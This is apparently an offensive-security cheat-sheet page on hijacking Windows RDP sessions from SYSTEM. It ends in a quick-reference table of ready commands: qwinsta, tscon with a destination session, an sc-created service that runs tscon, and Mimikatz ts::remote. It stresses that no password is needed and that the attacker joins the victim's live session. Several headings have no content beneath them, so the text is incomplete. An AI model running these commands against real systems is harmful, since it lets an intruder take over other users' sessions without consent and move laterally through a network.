Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
As SYSTEM, hijack active or disconnected RDP sessions without knowing the user’s password. Usestscon to switch sessions.
List Sessions
Hijack — From SYSTEM
Get SYSTEM First
Switch Session
Example
Via Service (No Interactive SYSTEM)
Mimikatz Method
Notes
- Requires SYSTEM privileges
- Works on disconnected sessions too
- No password needed for target session
- User doesn’t get disconnected (attacker joins their session)
- Server 2019+ may require additional steps
Quick Reference
| Task | Command |
|---|---|
| List sessions | query user or qwinsta |
| Hijack | tscon SESSION_ID /dest:rdp-tcp#YOUR_SESSION |
| Via service | sc create hijack binpath= "cmd /k tscon ..." |
| Mimikatz | ts::remote /id:SESSION_ID |